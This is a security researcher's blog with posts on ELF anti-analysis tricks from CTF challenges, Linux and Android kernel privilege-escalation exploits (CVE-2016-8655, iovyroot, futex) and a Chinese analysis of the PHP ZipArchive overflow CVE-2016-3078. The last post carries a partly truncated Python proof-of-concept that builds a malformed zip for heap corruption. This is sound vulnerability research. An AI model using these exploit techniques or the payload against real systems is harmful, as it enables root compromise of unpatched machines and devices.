Friday, February 23, 2018

ELF Black Magic Collections - Evading from static analysis

HITCON CTF 2017 Qual 


".rela.dyn" section is patched to rewrite (and append) an address (0x935) into ".fini_array" at load time. ".fini_array" is a function pointer array ended with NULL pointer. These function handlers are called in the reverse order in the exit after main function returns.


There are 2 program_header_table (PHDR) in this ELF binary - first one is at offset 0x204270, the second one is at offset 0x40.

Disassemblers take 0x40 as the PHDR offset.

radare2 - rabin2 -S
readelf -e

But the Linux kernel (wrongly?) calculate the offset with 0x400000 (base address) + 0x204270, which corresponds to offset 0x4270 in the raw binary - PT_LOAD has a 0x600000 base. So, this is the actual PHDR at runtime, and PT_DYNAMIC is changed to 0x6677CD:

So this time, the dynamic loader didn't check the p_offset and take p_vaddr directly. In PT_DYNAMIC, DT_SYMTAB is changed to 0x6E125B (0x4002C0 on the other hand). So that's where we can see the "memcmp" symbol is modified to "strcmp". The second "strcmp" symbol is set to be STB_LOCAL to avoid name conflict.

Code from glibc/elf/rtld.c

Google CTF 2018 Qual

This binary is built with PIE/PIC disabled, and its text section starts from a fixed base address of 0x400000. The binary is all normal except that several bytes were changed in the .got.plt section --- the resolving address of sleep is changed to an arbitrary one. This tricked my IDA Pro 6.8 without seeing the dl-resolve hijacking.

IDA Pro 6.8 Disassembly
.got.plt from raw binary
Debugging & BP on _dl_start



Sunday, December 18, 2016

What I Learnt From the CVE-2016-8655 Exploit

In a recent Exploit of CVE-2016-8655, found and developed by Philip Pettersson, I found an interesting strategy of exploitation on Linux which is worth to be noted and written down.

About the Vul?
The vulnerability is quite straightforward, and has been explained very detailed in the original post. There is an race cond in AF_PACKET socket handling in setsockopt syscall, which will lead to an UAF in the timer_list structure (in socket structure) when closing (/releasing) the socket. The timer_list structure looks as follows, with a function filed as a callback when the timer expires.

With the UAF, overriding the function field by suitable payloads will serve the control flow hijacking.

About the Exploit
An interesting part of the exploit is that, instead of using the sendmsg to fill the UAF timer, add_key is used. With len and payload as arguments, add_key is allowed to create SLAB chunks in any length in fully controlled data.

The code of this syscall can be found in security/keys/keyctl.c . Note that in the following snippet, we can see how add_key can help to fill the UAF.

After hijacking the control flow by overriding the function field. The exploit sets the vsyscall page as r/w. The vsyscall page is a feature for x64 Linux PC distributions. A note-worthy background of it is that vsyscall page is placed at a fixed address 0xFFFFFFFFFF600000, and is accessible from both kernel and user code. By setting the page as r/w, user code can directly write the vsyscall page which is in the kernel memory space, so as to bypass SMEP/SMAP.

The rest of the exploit fakes a ctl_table structure in the vsyscall page, and triggers again the vulnerability, calling the register_sysctl_table to register sysctl entry for modprobe. The idea is to overwrite the modprobe_path global variable with the callback function in ctl_table structure. After overwriting the modprobe_path to the path of the process itself, a new socket is created to call request_module, which will start a new privileged process at the modprobe_path variable.

In conclusion, the techniques I found interesting to note down is:
1) use add_key to fill the UAF;
2) use vsyscall page to bypass SMEP/SMAP;
3) use modprobe_path to escalate the privilege.

BTW. I found a very comprehensive summery of Linux exploitation and mitigation bypass techniques by x82 at

Monday, November 28, 2016

Porting iovyroot to Samsung Galaxy S5

I somehow got a Samsung S5 cell phone at hand, with the rom version G9006VZNU1BOJ4. The iovyroot vulnerability is not fixed in it, so I guess there is a chance to exploit it with iovyroot. However, there is no S5 support in offsets.c file. So, Time to get hands dirty again.

About the iovyroot, it is an open-sourced exploit for CVE-2015-1805. I've also wrote a writeup about it in one of my previous posts. (Sorry for the Chinese :P)

First trying to play by the book, I fill in the offsets struct according to my phone. The header file offsets.h and getroot.c give out comprehensive comments to help me walk through this.

My version of offsets struct looks like this:

However, simply run this code didn't end up well. As is also reported in iovyroot issues. S5 has troubles in jumping back to userland exploiting code because of PXN (even though it has a 32bit processor). So JOP gadgets are required.

My JOP gadgets and preparejop() ended up like this:

jop_1 is the address to overwrite the check_flags function pointer. jop_2 leaks out the stack register, and then jumps back to the fcntl syscall routine.

Everything is ready now. It's time to fire up. A weird thing occurs to me is that the system() doesn't work any more after the rooting. I tried to spawn /system/bin/sh but nothing happened. However, after I replaced the system() call to a read to the previlieged file 'init.rc', it worked flawlessly! So, work's done!

Wednesday, June 29, 2016

Exploiting Futex Bug (a.k.a TowelRoot)

These three blogs from nativeflow is very helpful in learning the futex bug, but details in how to exploit is not mentioned.

My code here at github tries to fill this blank. I wrote detailed comments in the code, so it should be quite self-explanatory.  There are also scripts I used to run the emulator, and build the code. I also attached my debugging script. I think this should be helpful to anyone learning this futex bug. My exploit stopped at the full kernel r/w to keep the code clean. To further exploit and gain root should be very easy ( since we already get full kernel r/w ).

I do exactly what these blogs said on environment setup, but there are some discrepancy. When I sendmmsg to override the rt_mutex_waiter struct, it is the iovstack[6] and iovstack[7] override the plist_node struct of the rt_mutex_waiter. So, some tricks should be used to bypass the checks related to the iovstack. Comments in the code should explain this well.

Again, you can check my code at :

Wednesday, May 18, 2016

CVE-2016-3078 PHP ZipArchive Integer Overflow 分析

        这个漏洞的影响范围是PHP 7.0.6版本以前的所有PHP 7.x 版本。PHP的源码可以在这里下到,













        其中的zip_source_t *src指向的结构体与zip文件里的数据相关的东西。



        在php_zip_get_from()函数里,会先从Executor Globals里把传入的参数读出来。然后会解析zip文件的dirEntry对应的文件目录,然后更新一个zip_stat结构,存放结果。

        其中size是uint64的,对应zip Entry里的UncompressedSize位。之后会检查从php脚本里传入的参数len是不是小于1,如果是就会把这个size赋值到len。注意,这里len的类型是zend_long。




        在zend_string()里会先对len做一个边界对齐,会在原始len的大小上加上0x14然后再mask 0xFFFFFFFC。攻击中可以把UncompressedSize设成0xFFFFFFFE,然后会分配一个0x10大小的堆。

        这里面,调用了pemalloc分配堆块。它是php内部实现的一个Memory Allocator。源码在zend_alloc.c里,具体就不展开了。它里面对小的堆块的分配做了优化,所有小堆块都连续分布在一个或多个连续的内存页上,每个空闲的小堆块都用一个单向链表的形式组织起来。第一个空闲的小堆块的地址会放在全局的chunk head的free_slot里。


        所以,这就给堆溢出带来了机会。可以先溢出改写下一个free block的头,然后再分配一次,把构造的free block头写入free_slot,然后再分配一次,构造出任意地址写。

        实际的堆溢出发生在后面的zip_fread()函数里。他会递归地调用之前提到的zip结构体里注册的回掉函数。于是,就会先调用之前提到的decrypt/inflate/crc check,然后再调用在open()的时候注册的read_data()函数。这里基本上可以看作是memcpy。


import struct
import binascii
def file_head( name, data, uncomplen):
r = '\x14\x00\x00\x00'
r += '\x00\x00' # frCompression = FL_STORE
r += '\xBB\x63'
r += '\xAD\x48'
r += struct.pack("<I", binascii.crc32(data)&0xffffffff)
r += struct.pack("<I", len(data))
r += struct.pack("<I", uncomplen)
r += struct.pack("<H", len(name))
r += '\x00\x00'
return r

def file_rec( name, data, uncomplen):
r = '\x50\x4B\x03\x04'
r += file_head( name, data, uncomplen)
r += name
r += data
return r

def dir_entry( offset, name, data, uncomplen):
r = '\x50\x4B\x01\x02'
r += '\x1F\x00'
r += file_head( name, data, uncomplen)
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00\x00\x00'
r += struct.pack("<I", offset)
r += name
return r

def end_loc( num, size, offset):
r = '\x50\x4B\x05\x06'
r += '\x00\x00'
r += '\x00\x00'
r += struct.pack("<H", num) * 2
r += struct.pack("<I", size)
r += struct.pack("<I", offset)
r += '\x00\x00'
return r

# Create 3 files
## SIGV will generate when trying to
## heap->free_slot[bin_num] = exit_plt->next_free_slot;
exit_plt = 0x80910030
payload = struct.pack('<I', exit_plt) + 'B' * 0xC
f1 = file_rec( "XXXX", payload, 0xfffffffe)
f2 = file_rec( "XXXX", 'C' * 16, 0xfffffffe)
f3 = file_rec( "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
# Once more to overcome GC
f4 = f3

d1 = dir_entry( 0, "XXXX", payload, 0xfffffffe)
d2 = dir_entry( len(f1), "XXXX", 'C'*16, 0xfffffffe)
d3 = dir_entry( len(f1+f2), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
d4 = dir_entry( len(f1+f2+f3), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)

end = end_loc( 4, len(d1+d2+d3+d4), len(f1+f2+f3+f4))

with open('', 'wb') as fd:

Friday, May 6, 2016

libstagefright (CVE-2015-1538) 分析

        CVE-2015-1538 这个漏洞说是整型溢出,看源码看了半天没看明白,然后去逆向了下,才看出来。